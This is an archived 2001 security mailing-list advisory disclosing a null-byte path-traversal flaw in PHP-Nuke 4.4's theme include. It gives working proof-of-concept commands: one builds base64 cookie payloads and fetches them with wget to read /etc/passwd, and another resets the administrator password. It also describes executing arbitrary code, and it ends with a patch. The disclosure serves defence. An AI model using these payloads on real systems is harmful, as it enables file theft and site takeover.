OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Joao Gouveia (tharbadKAOTIK.ORG)
Date: Fri Feb 23 2001 - 19:44:05 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Hi,

    This is yet another security flaw in PHP-Nuke, greatly inpired by RFP
    post do bugtraq (http://www.securityfocus.com/archive/1/162703).

    Tested on:
    PHP-Nuke v.4.4 (latest version, step-by-step install)
    PHP Version 4.0.4pl1

    Impact: Any user can gain administrator previleges. Every file that the
    webserver has access to, can be read by anyone. Any user can execute
    arbitrary
    commands
    with the previleges of the web server.

    Fix: version 4.4.1 has been released, for a quick fix see below

    Facts:
    PHP in some functions, like for example fopen(), include(), require(),
    ignores everything after a NULL if one is present.
    <snip php.ini>
    magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data
    </snip>
    Example:
    <? echo $string?>

    test.php?string=tes%00t
    output:tes\0t

    now, with magic_quotes_gpc turned Off.
    output:test

    The same two tests aplied to an include($string)
    magic_quotes_gpc On, output: Warning: Failed opening 'tes\0t' for
    inclusion
    magic_quotes_gpc Off, output: Warning: Failed opening 'tes' for
    inclusion
    So, everything after the NULL was ignored.

    Of course, one that who uses magic_quotes_gpc turned on isn't expecting this
    kind of behaviour.
    The problem here, as RFP noted in his post to bugtraq, is that PHP-Nuke
    uses base64_encode() to encode it's cookies, and the user information.
    In this vars there is a interesting one, the theme configuration ( also
    pointed out by RFP ). The same thing that makes phpnuke not escape the '
    , also makes it not escape the NULL. So, here's an example:
    <snip of bb_smilies.php> (Note: 'bbcode_ref.php' has the same problem)
    if ($user) {
                    $user = base64_decode($user);
                    $userdata = explode(":", $user);
    }

    if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
    else $themes = "themes/$Default_Theme/theme.php";

    include ("$themes");
    </snip>

    Here's a simple way to get /etc/passwd:
    <quote>
    jrobertospike:~ > /bin/echo -e
    "1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\000" |uuencode -m f
    begin-base64 644 f
    MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
    jrobertospike:~ > wget
    'http://target/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vL
    i4vZXRjL3Bhc3N3ZAAK'
    -O target.passwd
    jrobertospike:~ > head -n1 target.passwd
    root:x:0:0:root:/root:/bin/bash
    </quote>

    And, with a litle imagination, here's another way to change the default
    administrator (God) password:
    <quote>
    jrobertospike:~ > /bin/echo -e
    "1:1:1:1:1:1:1:1:1:../admin/authors.php\000">lixo
    jrobertospike:~ > uuencode -m lixo lixo2
    begin-base64 644 lixo2
    MToxOjE6MToxOjE6MToxOjE6Li4vYWRtaW4vYXV0aG9ycy5waHAACg==
    jrobertospike:~ > wget
    'http://target/bb_smilies.php/admin.php?user=1ToxOjE6MToxOjE6MToxOjE6Li4vYWR
    taW4vYXV0aG9ycy5waHAACg==&op=UpdateAuthor&chng_aid=God&chng_pwd=newpass&chng
    _name=God&chng_email=qweqweasdasd&chng_pwd2=newpass'
    -O test
    </quote>

    And here's a simple way to execute arbitrary code on the server ( given that
    it's not running in safe_mode and filemanager is working).
    After geting administration previleges, go to the admin area and give "God"
    superuser privs ( if it isn't enabled ).
    Switch to the File Manager area, edit/create/rename your choosen file and
    insert your php code there.

    Fix:

    Both in bb_smilies.php and bbcode_ref.php change:
    <quote>
    if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
    else $themes = "themes/$Default_Theme/theme.php";
    </quote>

    To:

    <quote>
    if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
    else $themes = "themes/$Default_Theme/theme.php";
    if ( !(strstr(basename($themes),"theme.php")) || !(file_exists($themes)) ){
    echo "Invalid Theme"; exit;}
    include ("$themes");
    </quote>

    Best regards,

    Joao Gouveia
    ------------
    tharbadkaotik.org